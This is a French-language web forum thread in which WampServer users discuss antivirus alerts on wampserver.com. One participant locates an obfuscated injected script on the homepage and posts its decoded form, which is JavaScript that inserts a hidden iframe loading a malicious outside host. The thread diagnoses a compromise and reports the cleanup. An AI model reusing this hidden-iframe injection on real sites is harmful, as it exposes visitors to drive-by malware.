WampServer

Bonjour à tous,
à toutes fins utiles, à l'ouverture, par firefox 7, de la page www.wampserver.com , avast 6, sur wxp-pro-sp3, déclenche un blocage : page web infectée, url : [m-e.crossfitharlem.net]
un peu déstabilisant :-)
rien de grave ?
juste un essai pour vendre la mise à jour vers la version pro ?
merci
wampig

Bonjour,

C'est étrange en effet, car je ne vois cette url nulle part dans le code originel...
Et aucune pub étrangère n'étant présente en page d'accueil, cela ne vient pas de là non plus.

Probable que cela vienne d'un adware situé sur votre ordinateur plutôt que sur le site car j'ai beau chercher dans le code source de la page d'accueil de wamp, rien d'approchant n'existe.

------------------------------------------------------------------------------------------------------------
Apache 2.4.7 vc11 64bits - PHP 5.5.7 vc11 32bits - MariaDB 10.0.6 - PhPMyAdmin 4.1.0



Modifie 2 fois. Derniere modification le 18/10/2011 à 12:25 par bagu.

malwarebytes n'a rien trouvé.
le message est revenu à la nouvelle ouverture de page d'accueil, même url avec plein de lettres derrière le .net : .net/a/de.....3ef4?java
qui finit donc par java.
mais apparemment il ne se passe rien de plus.

l'url du détail de l'alerte selon avast :

[www.avast.com]:\Program%20Files%20%28x86%29\Mozilla%20Firefox\firefox.exe&p_obj=http://m-e.crossfitharlem.net/a/de6f3d9a84bc63e9baf33cefd9085c550a1f558e7a5d8f1a0d82668eedf13ef4?java=42&p_var=.%2Ffa%2Ffr-fr%2Fvirus-alert-default2&p_pro=0&p_vep=6&p_ves=0&p_lqa=0&p_lsu=24&p_lst=0&p_lex=347&p_lng=fr&p_lid=fr-fr&p_elm=7

Hé bien aucune idée d'où ça peut bien provenir...Otomatic aura peut être une idée.

------------------------------------------------------------------------------------------------------------
Apache 2.4.7 vc11 64bits - PHP 5.5.7 vc11 32bits - MariaDB 10.0.6 - PhPMyAdmin 4.1.0

Bonjour,

J'ai également remarqué le soucis en arrivant sur le site (hier comme aujourd'hui), j'ai fait un petit screen : [dl.dropbox.com]



Modifie 1 fois. Derniere modification le 25/10/2011 à 16:06 par zulzul.

Bonjour,

Il faut nettoyer ton PC. m-e.crossfitharlem.net n'a absolument rien à voir avec Wampserver.

---------------------------------------------------------------
Documentation Apache - Documentation PHP - Documentation MySQL - Wampserver install files & addons

Bonjour à tous,
désolé de contredire mais son PC n'est pas en cause
Si on regarde le code de votre page d'accueil du côté des lignes suivantes (178eme ligne environ), on y trouve l'injection qui déclenche l'alerte antivirus.

<script>............</script>
<div style="text-align: center;"><h1>WampServer</h1></div>
<div style="text-align: center;"><h2>Apache, MySQL, PHP sous Windows</h2></div>

Il y a un script javascript codé qui une fois décodé donne ceci :

if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("" ); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://m-e.crossfitharlem.net/z/st1');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }

Il faut retirer cette ligne de script de votre site.

Cette injection est également présente sur la page wampserver.com/phorum/index.php
Je n'ai pas fait le tour de toutes les pages mais il doit y en avoir d'autres

@+



Modifie 2 fois. Derniere modification le 28/10/2011 à 00:14 par ChrisL.

Bonjour,

Ce n'est ni mon site, ni mon forum.
Vous êtes le découvreur, informez-en les responsables : Formulaire de contact : [www.alterway.fr]

---------------------------------------------------------------
Documentation Apache - Documentation PHP - Documentation MySQL - Wampserver install files & addons

bonjour,

en arrivant sur le site via google, ce dernier bloque aussi l'accès.

Exemple d'url : [www.google.fr]

Rien à faire, j'ai beau recharger le site autant de fois que je veux, je ne trouve pas trace du script sus-nommé...
Il est probable, et ce malgré vos dires, que ce soit une injection de code malicieux en provenance de votre PC.

Voici le code originel (vu à partir de 4 PC différents) :

<div style="text-align: center;"><h1>WampServer</h1></div>
<div style="text-align: center;"><h2>Apache, MySQL, PHP sous Windows</h2></div>
<br />
<div style="text-align: center;"><img style="" alt="image menu WampServer" src="data/image_menu_wamp.gif"><br>

<br />

</div>

<table style="text-align: left; background-color: rgb(248, 247, 247); width: 517px; height: 147px;" border="0" cellpadding="2" cellspacing="2">

  <tbody>

Aucune trace de script javascript.

------------------------------------------------------------------------------------------------------------
Apache 2.4.7 vc11 64bits - PHP 5.5.7 vc11 32bits - MariaDB 10.0.6 - PhPMyAdmin 4.1.0

Bonjour,

J'avais pris contact avec AlterWay qui a reconnu qu'il y avait un « script malicieux » et qui a procédé au nettoyage.

---------------------------------------------------------------
Documentation Apache - Documentation PHP - Documentation MySQL - Wampserver install files & addons

Du coup je me demande pourquoi rien n'était affiché sur la totalité de mon parc Oo
Car le code n'existait même pas dans les pages affichées chez moi

------------------------------------------------------------------------------------------------------------
Apache 2.4.7 vc11 64bits - PHP 5.5.7 vc11 32bits - MariaDB 10.0.6 - PhPMyAdmin 4.1.0



Modifie 1 fois. Derniere modification le 07/11/2011 à 20:46 par bagu.